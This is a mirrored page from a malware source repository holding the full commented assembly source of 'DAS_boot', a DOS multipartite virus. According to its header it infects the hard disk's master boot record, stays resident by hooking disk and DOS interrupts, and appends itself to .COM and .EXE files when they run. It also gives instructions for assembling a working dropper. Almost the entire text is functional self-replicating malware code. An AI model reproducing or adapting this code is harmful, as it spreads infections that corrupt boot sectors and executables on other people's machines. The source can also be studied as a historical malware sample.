mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
315 lines
18 KiB
Plaintext
315 lines
18 KiB
Plaintext
|
;=============================================================================
|
||
|
; Virus Name: DAS_boot
|
||
|
; Effective Length: 421 Bytes
|
||
|
; Description: Dark Angel's _small virus modified into multipartite
|
||
|
;
|
||
|
; Notes:
|
||
|
; - resident, multipartite, appending .COM/.EXE infector
|
||
|
; - infects .COM and .EXE files when they are executed
|
||
|
; - infects fixed disk MBR
|
||
|
; - no harmful payload
|
||
|
;
|
||
|
; To Compile:
|
||
|
; - use shareware A86 assembler
|
||
|
; - type "a86 das_boot.a86"
|
||
|
; - resulting das_boot.com is virus dropper which,
|
||
|
; if executed, will infect your system with DAS_boot
|
||
|
;=============================================================================
|
||
|
|
||
|
boot equ 07b00 ;delta offset for boot-time location
|
||
|
com equ 0100 ;delta offset for resident location
|
||
|
EXE_id equ -040 ;EXE infection tag
|
||
|
viruslength equ 01a5 ;length of virus = 421 bytes
|
||
|
|
||
|
das_boot:
|
||
|
call relative
|
||
|
|
||
|
oldheader db 0cd, 020 ;*(00) EXE file signature | COM file's
|
||
|
dw ? ;*(02) # of bytes in last page| 1st 3 bytes
|
||
|
dw ? ;*(04) size of file + header (pages)
|
||
|
dw ? ; (06) # of relocation items
|
||
|
dw ? ; (08) size of header (paragraphs)
|
||
|
dw ? ; (0A) min paragraphs needed
|
||
|
dw ? ; (0C) max paragraphs needed
|
||
|
dw ? ;*(0E) ss displacement from entry in para.
|
||
|
dw ? ;*(10) sp value at entry
|
||
|
dw ? ; (12) checksum
|
||
|
dw ? ;*(14) ip value at entry
|
||
|
dw ? ;*(16) cs displacement from entry in para.
|
||
|
;* - indicates value modified by das_boot
|
||
|
relative:
|
||
|
pop bp ;pop offset of oldheader off of stack
|
||
|
sub bp,03 ;adjust offset to start of program
|
||
|
mov ax,cs ;load ax with current segment
|
||
|
mov cl,04 ;load cl with multiplier/shift value
|
||
|
shl ax,cl ;calculate absolute segment
|
||
|
mov si,bp ;load si with program offset
|
||
|
add si,ax ;calculate absolute address
|
||
|
cmp si,07c00 ;code executing at boot-time address?
|
||
|
jne infect_mbr ;if not, must be executing from file,
|
||
|
; so attempt to infect MBR
|
||
|
xor ax,ax ;zero ax
|
||
|
mov ds,ax ;point ds to vector table
|
||
|
|
||
|
push si ;save 0000:07c00 on stack as load
|
||
|
push ds ; location for original MBR
|
||
|
|
||
|
dec word ptr [0413] ;decrease conventional memory by 1KB
|
||
|
int 012 ;load ax with #KB of conv. memory
|
||
|
mov cx,0106 ;load move (100) and shift (06) values
|
||
|
shl ax,cl ;calculate destination segment
|
||
|
|
||
|
mov es,ax ;set es to destination segment
|
||
|
mov [022*4+2],ax ;store boot tag in int22 vector seg.
|
||
|
xchg [013*4+2],ax ;point int13 vector to virus segment
|
||
|
mov [offset old13+boot+2],ax ;store old int13 segment value
|
||
|
mov ax,offset int13-com ;load ax with virus int13 handler off.
|
||
|
xchg [013*4],ax ;point int13 vector to virus offset
|
||
|
mov [offset old13+boot],ax ;store old int13 offset value
|
||
|
|
||
|
xor di,di ;set destination offset=0000
|
||
|
cld ;clear direction flag (fwd)
|
||
|
rep movsw ;move virus to top of conv. memory
|
||
|
|
||
|
push es ;push destination segment for retf
|
||
|
mov bx,offset top_mem-com ;load bx with offset
|
||
|
push bx ;push offset for retf
|
||
|
retf ;return to self at new location
|
||
|
top_mem:
|
||
|
pop es ;pop es=0000 as disk load segment
|
||
|
mov ax,0201 ;select read-one-sector function
|
||
|
pop bx ;pop bx=07c00 as disk load offset
|
||
|
mov cl,02 ;cylinder 0, sector 2 (original MBR)
|
||
|
int 013 ;load original MBR
|
||
|
|
||
|
jmp 0000:07c00 ;jump to execute original MBR
|
||
|
|
||
|
infect_mbr:
|
||
|
push ds ;preserve registers
|
||
|
push es
|
||
|
|
||
|
push cs
|
||
|
pop ds ;set ds=cs
|
||
|
push cs
|
||
|
pop es ;set es=cs
|
||
|
|
||
|
mov ax,0201 ;select read-one-sector function
|
||
|
lea bx,[bp+viruslength] ;set load offset just beyond program
|
||
|
mov cx,01 ;cylinder 0, sector 1 (MBR)
|
||
|
mov dx,080 ;head 0, drive "C"
|
||
|
int 013 ;load MBR
|
||
|
jb exit_small ;if flag=error, exit
|
||
|
|
||
|
cmp [bx],018e8 ;check for das_boot code
|
||
|
je exit_small ;if equal, MBR already infected, so
|
||
|
; exit
|
||
|
mov ax,0301 ;select write-one-sector function
|
||
|
inc cx ;cylinder 0, sector 2
|
||
|
int 013 ;relocate original MBR to sector 2
|
||
|
|
||
|
mov si,bp ;set source offset to start of virus
|
||
|
mov di,bx ;set dest. offset to MBR in buffer
|
||
|
mov cx,viruslength ;load move count to cx
|
||
|
rep movsb ;move virus to MBR in memory
|
||
|
|
||
|
mov ax,0301 ;select write-one-sector function
|
||
|
inc cx ;cylinder 0, sector 1 (MBR)
|
||
|
int 013 ;write infected MBR to drive "C"
|
||
|
exit_small:
|
||
|
pop es ;restore segment registers to point
|
||
|
pop ds ; to PSP
|
||
|
|
||
|
add bp,03 ;reset bp to point to oldheader
|
||
|
|
||
|
or sp,sp ;test parity of stack pointer
|
||
|
jpo returnCOM ;if value is odd, COM file is host
|
||
|
returnEXE:
|
||
|
mov ax,ds ;load ax with PSP segment
|
||
|
add ax,010 ;adjust segment value to skip PSP
|
||
|
add [bp+016],ax ;restore orig. cs value in oldheader
|
||
|
add ax,[bp+0e] ;calculate original ss entry value
|
||
|
mov ss,ax ;load ss with original value
|
||
|
mov sp,cs:[bp+010] ;load sp with program entry value
|
||
|
jmp dword ptr cs:[bp+014] ;jump to EXE file entry point via
|
||
|
; restored value in oldheader
|
||
|
returnCOM:
|
||
|
mov di,0100 ;COM file entry point & move dest.
|
||
|
push di ;save on stack as return offset
|
||
|
mov si,bp ;point to stored COM 1st three bytes
|
||
|
movsw ;move the original three bytes
|
||
|
movsb ; back to the start of the COM file
|
||
|
ret ;return to execute the COM file
|
||
|
; (return segment already on stack)
|
||
|
int13:
|
||
|
push ax ;preserve registers
|
||
|
push ds
|
||
|
|
||
|
xor ax,ax ;zero ax
|
||
|
mov ds,ax ;point ds to vector table
|
||
|
mov ax,cs ;set ax=cs
|
||
|
|
||
|
cmp [090*4],ax ;bypass flag set?
|
||
|
je exit_int13 ;if so, don't steal int21 vector again
|
||
|
|
||
|
cmp [022*4+2],ax ;int22 vector segment = boot tag?
|
||
|
je exit_int13 ;if so, vectors not fully initialized,
|
||
|
; so don't steal int21 yet
|
||
|
mov [090*4],ax ;put bypass flag in unused BASIC vect.
|
||
|
xchg [021*4+2],ax ;point int21 vector to virus segment
|
||
|
mov cs:[offset old21-com+2],ax ;store orig. int21 handler segment
|
||
|
mov ax,offset int21-com ;load ax with virus int21 handler off.
|
||
|
xchg [021*4],ax ;point int21 vector to virus offset
|
||
|
mov cs:[offset old21-com],ax ;store orig. int21 handler offset
|
||
|
exit_int13:
|
||
|
pop ds ;restore registers
|
||
|
pop ax
|
||
|
|
||
|
db 0ea ;"jmp far" to location specified in
|
||
|
old13: ; old13
|
||
|
dw ?, ? ;offset and segment of original int13
|
||
|
; handler
|
||
|
infect:
|
||
|
push ax ;preserve registers
|
||
|
push bx
|
||
|
push cx
|
||
|
push dx
|
||
|
push si
|
||
|
push di
|
||
|
push ds
|
||
|
push es
|
||
|
|
||
|
mov ax,03d02 ;open file read/write function
|
||
|
int 021 ;attempt to open file read/write
|
||
|
xchg ax,bx ;save file handle in bx
|
||
|
|
||
|
push cs
|
||
|
pop ds ;set ds=cs
|
||
|
push cs
|
||
|
pop es ;set es=cs
|
||
|
|
||
|
mov si,offset oldheader-com ;point to offset of oldheader
|
||
|
|
||
|
mov ah,03f ;read file function
|
||
|
mov cx,018 ;first 18 bytes
|
||
|
push cx ;save value for later use
|
||
|
mov dx,si ;point to oldheader offset
|
||
|
int 021 ;load file's 1st 18 bytes to oldheader
|
||
|
|
||
|
cmp ax,cx ;18 bytes successfully read?
|
||
|
jne go_already_infected ;if not, open file read/write failed,
|
||
|
; so exit
|
||
|
|
||
|
mov di,offset target-com ;point to target offset
|
||
|
push di ;save offset value for later use
|
||
|
rep movsb ;move oldheader to target (cx=18)
|
||
|
pop di ;restore di to target offset value
|
||
|
|
||
|
mov ax,04202 ;move file pointer, offset from EOF
|
||
|
cwd ;set dx=0000 (LSP) [cx=0000 (MSP)]
|
||
|
int 021 ;move file pointer to EOF, dx:ax
|
||
|
; returned as new file pointer
|
||
|
cmp ds:[di],'ZM' ;check target header for EXE tag
|
||
|
je infectEXE ;if present, infect EXE
|
||
|
|
||
|
infectCOM:
|
||
|
sub ax,03 ;subtract 3 from file pointer offset
|
||
|
mov byte ptr ds:[di],0e9 ;put "jmp" at start of target header
|
||
|
mov ds:[di+01],ax ;put jmp offset in target header
|
||
|
|
||
|
sub ax,viruslength ;calc. jmp offset of infected file
|
||
|
cmp ds:[si-017],ax ;does file's jmp offset match?
|
||
|
jne finishinfect ;if not, it's not infected, so infect
|
||
|
go_already_infected:
|
||
|
pop cx ;discard excess value on stack
|
||
|
jmp short already_infected ;exit infection routine
|
||
|
|
||
|
int21:
|
||
|
cmp ax,04b00 ;load and execute file request?
|
||
|
je infect ;if so, attempt to infect file
|
||
|
jmp short chain ;if not, jump to orig. int21 handler
|
||
|
|
||
|
infectEXE:
|
||
|
cmp word ptr [di+010],EXE_id ;check for infect tag in target SP
|
||
|
je go_already_infected ;if tag is present, don't infect
|
||
|
|
||
|
push ax ;push file pointer LSP
|
||
|
push dx ;push file pointer MSP
|
||
|
|
||
|
add ax,viruslength ;add virus length to file length (LSP)
|
||
|
adc dx,0 ;adjust MSP (segment) to reflect
|
||
|
; any carry from adjustment of LSP
|
||
|
mov cx,0200 ;set cx=1 page (512d bytes)
|
||
|
div cx ;divide new file length by 512d to
|
||
|
; calculate number of pages in file
|
||
|
or dx,dx ;remainder in dx?
|
||
|
jz nohiccup ;if not, no need to add another page
|
||
|
inc ax ;add another page to length value
|
||
|
nohiccup:
|
||
|
mov ds:[di+04],ax ;store # of pages in target header
|
||
|
mov ds:[di+02],dx ;store # of bytes in last page in
|
||
|
; target header
|
||
|
pop dx ;restore dx to file pointer MSP
|
||
|
pop ax ;restore ax to file pointer LSP
|
||
|
|
||
|
mov cx,010 ;convert dx:ax to
|
||
|
div cx ; segment(ax):offset(dx) form
|
||
|
|
||
|
sub ax,ds:[di+08] ;subtract header size
|
||
|
|
||
|
mov ds:[di+014],dx ;store new entry ip in target
|
||
|
mov ds:[di+016],ax ;store new entry cs displacement
|
||
|
|
||
|
mov ds:[di+0e],ax ;store new entry ss displacement
|
||
|
mov word ptr ds:[di+010],EXE_id ;store EXE_id as sp in target
|
||
|
finishinfect:
|
||
|
mov ah,040 ;write to file w/handle function
|
||
|
mov cx,viruslength ;specify # of bytes to write
|
||
|
xor dx,dx ;set buffer start at virus offset
|
||
|
int 021 ;write _small to EOF
|
||
|
|
||
|
mov ax,04200 ;move file pointer, offset from BOF
|
||
|
xor cx,cx ;MSP of offset cx=0000
|
||
|
cwd ;LSP of offset dx=0000
|
||
|
int 021 ;move file pointer to BOF
|
||
|
|
||
|
mov ah,040 ;write to file w/handle function
|
||
|
mov dx,di ;set buffer start at target header
|
||
|
pop cx ;specify 18 bytes to write
|
||
|
int 021 ;write modified EXE header (or COM
|
||
|
; jmp xxxx & next 15 bytes) to BOF
|
||
|
already_infected:
|
||
|
mov ah,03e ;close file w/handle function
|
||
|
int 021 ;close file
|
||
|
exitinfect:
|
||
|
pop es ;preserve registers
|
||
|
pop ds
|
||
|
pop di
|
||
|
pop si
|
||
|
pop dx
|
||
|
pop cx
|
||
|
pop bx
|
||
|
pop ax
|
||
|
|
||
|
chain:
|
||
|
db 0ea ;"jmp far" to location specified in old21
|
||
|
heap:
|
||
|
|
||
|
old21 dw ?, ? ;offset and segment of orig. int21 handler
|
||
|
|
||
|
target dw ? ;*(00) EXE file signature | COM file's
|
||
|
dw ? ;*(02) # of bytes in last page| jmp to virus
|
||
|
dw ? ;*(04) size of file + header (pages)
|
||
|
dw ? ; (06) # of relocation items
|
||
|
dw ? ; (08) size of header (paragraphs)
|
||
|
dw ? ; (0A) min paragraphs needed
|
||
|
dw ? ; (0C) max paragraphs needed
|
||
|
dw ? ;*(0E) ss displacement from entry in para.
|
||
|
dw ? ;*(10) sp value at entry
|
||
|
dw ? ; (12) checksum
|
||
|
dw ? ;*(14) ip value at entry
|
||
|
dw ? ;*(16) cs displacement from entry in para.
|
||
|
;* - indicates value modified by das_boot
|
||
|
endheap:
|
||
|
|
||
|
end das_boot
|